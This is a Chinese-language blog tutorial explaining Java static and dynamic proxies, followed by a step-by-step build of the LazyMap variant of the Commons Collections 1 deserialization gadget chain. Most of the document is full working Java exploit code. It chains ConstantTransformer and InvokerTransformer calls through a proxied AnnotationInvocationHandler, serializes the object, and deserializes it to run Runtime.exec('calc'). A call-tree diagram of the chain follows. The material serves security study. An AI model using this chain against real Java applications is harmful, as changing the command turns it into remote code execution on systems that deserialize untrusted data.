Java代理机制及CC1链拾遗补阙
在原先的CC1链解析中,我们利用transformedMap类的checkSetValue()方法触发transform(),此外CC1链还有另外一种实现方法,通过依赖LazyMap类的get()进行触发。在此之前,需要对Java的代理机制有一定了解
代理机制
代理模式使用代理对象来代替对真实对象的访问,这样就可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。Java中的代理大致可分成静态代理和动态代理两类
静态代理
静态代理通过代理对象和目标对象实现同一个接口,达成了通过代理对象访问目标对象。下面是一个静态代理的实现步骤
定义接口
interface Calculator { int add(int a, int b); }
|
定义目标类
class RealCalculator implements Calculator { public int add(int a, int b) { return a + b; } }
|
定义代理类
class CalculatorProxy implements Calculator { private Calculator realCalculator; public CalculatorProxy(Calculator realCalculator) { this.realCalculator = realCalculator; } public int add(int a, int b) { int result = realCalculator.add(a, b); return result; } }
|
应用静态代理模式
public class Main { public static void main(String[] args) { Calculator Calc = new RealCalculator(); Calculator proxy = new CalculatorProxy(Calc); int result = proxy.add(10, 20); System.out.println(result); } }
|
在main()中,我们看似对proxy调用了add()方法,但实际上proxy并不是实际执行者,而是转手调用了目标对象clac去执行。此外不难发现,如果Calculator接口多了一个divide()方法,那么就需要同时对RealCalculator和CalculatorProxy进行重写,这是非常麻烦的,而动态代理则很好地解决了这个问题
动态代理
动态代理又可分为Java内置的JDK动态代理和第三方的CGLIB动态代理,以理解CC1链的LazyMap线路为目的只需要了解JDK动态代理即可
在动态代理中,通过 Proxy.newProxyInstance() 方法创建代理对象
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
|
其中,loader作为类加载器,用于加载代理对象,interfaces指被代理类实现的接口,h需要传入一个InvocationHandle的实现类作为处理器类,可以通过重写invoke方法去规定代理对象的处理逻辑。同样是计算器的例子,看看动态代理是如何实现的
定义处理器类,重写invoke()方法,proxy是代理对象本身,method为被调用的方法,args为方法的参数数组
class CalcInvocationHandler implements InvocationHandler { private Object target;
public CalcInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return method.invoke(target, args); } }
|
应用动态代理模式
public class Main { public static void main(String[] args) { Calculator Calc = new RealCalculator(); Calculator proxy = (Calculator) Proxy.newProxyInstance( Calculator.class.getClassLoader(), new Class[]{Calculator.class}, new CalcInvocationHandler(Calc)); System.out.println(proxy.add(10, 20)); System.out.println(proxy.divide(20, 4)); }
|
此时,对proxy调用add()方法,会触发CalcInvocationHandler实例的invoke()方法,调用目标对象的add()方法
动态代理通过运行时生成实现指定接口的代理类,并缓存这些代理类以避免重复生成,将所有方法调用转发给InvocationHandler处理
实现CommonsCollections1反序列化链的LazyMap路线
回到链中,当尝试去寻找调用transform()方法的上层方法时,当时选择了TransformedMap的checkSetValue()方法。除此以外,LazyMap的get()方法似乎也能满足这一条件
public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
if语句的绕过只要map中不存在传入的key就行
该类的构造器是protected修饰的方法,但是其静态的decorate()方法能够获得一个LazyMap实例
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
|
至此,我们的链可以被改写为以下形式
public class Main { public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Map<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer); lazyMap.get(Runtime.getRuntime()); }
|
接下来,寻找调用了get()的上层,在AnnotationInvocationHandler的invoke()方法中就可以发现
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } } }
|
要执行到Object var6 = this.memberValues.get(var4)还有两层判断语句需要绕过,首先是var4不等于"equals",由前面对invoke()方法的分析可以得知,var4此处指通过代理调用的方法不为equals(),而我们需要调用的是entrySet()。然后是var5的长度为0,var5指传入的参数数组的元素个数,entrySet()的参数个数是0,所以不用做刻意绕过(怎么感觉说了等于没说
接下来就是实例化第一个AnnotationInvocationHandler,并将其作为代理处理器嵌入代理中,实例化过程用到反射这在上一篇已经有说明
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler annotationInvocationHandler1 = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map<Object,Object> proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler1);
|
然后再次实例化AnnotationInvocationHandler作为启动类,这一次传入的memberValues则是proxyMap以用来触发invoke()方法
InvocationHandler annotationInvocationHandler2 = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
|
至此,LazyMap版本的CommonsCollections1反序列化链也构造完毕了,全链如下
public class Main { public static void main(String[] args) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Map<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler annotationInvocationHandler1 = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map<Object,Object> proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler1); InvocationHandler annotationInvocationHandler2 = (InvocationHandler) constructor.newInstance(Override.class,proxyMap); serialize(annotationInvocationHandler2); unserialize("ser2.bin"); }
public static void serialize(Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser2.bin"))); oos.writeObject(object); }
public static void unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); objectInputStream.readObject(); }
}
|
如果直接运行可能会报错,因为entrySet()方法期望返回一个Set对象,而我们这个链在遍历的时候直接去执行危险方法了,返回的是一个Process,如果想解决可以在transformer数组多放一个ConstantTransformer让其返回一个Set就行
总结一下,在链中,一个AnnotationInvocationHandler对象被反序列化,这会触发其readObject()方法,readObject()在调用entrySet()遍历传入的代理对象时,调用我们设置的处理器对象annotationInvocationHandler2的invoke(),该方法对目标对象lazymap调用了get()方法,之后的过程则与先前的链一致
ois.readObject() └── AnnotationInvocationHandler.readObject() ├── this.memberValues.entrySet() │ └── (Proxy Map).entrySet() // 动态代理对象 │ └── AnnotationInvocationHandler.invoke() │ ├── 方法名检查 (member.equals("equals")...) │ ├── 参数检查 (paramTypes.length != 0) │ └── this.memberValues.get(member) // member = "entrySet" │ └── (LazyMap).get("entrySet") │ ├── map.containsKey("entrySet")? // 不存在,执行transform │ └── this.factory.transform("entrySet") // 关键触发点 │ └── ChainedTransformer.transform() │ ├── ConstantTransformer.transform() → Runtime.class │ ├── InvokerTransformer.transform() // getMethod("getRuntime") │ │ └── Runtime.class.getMethod("getRuntime") │ ├── InvokerTransformer.transform() // invoke(null) │ │ └── method.invoke(null, new Object[0]) → Runtime实例 │ └── InvokerTransformer.transform() // exec("calc") │ └── Runtime.getRuntime().exec("calc") │ ├── Process对象返回 │ └── 类型转换异常 (Process → Set) │ ├── for (Map.Entry<String, Object> var5 : this.memberValues.entrySet()) │ └── // 此处本应遍历,但因类型异常中断 │ └── 其他readObject逻辑...
|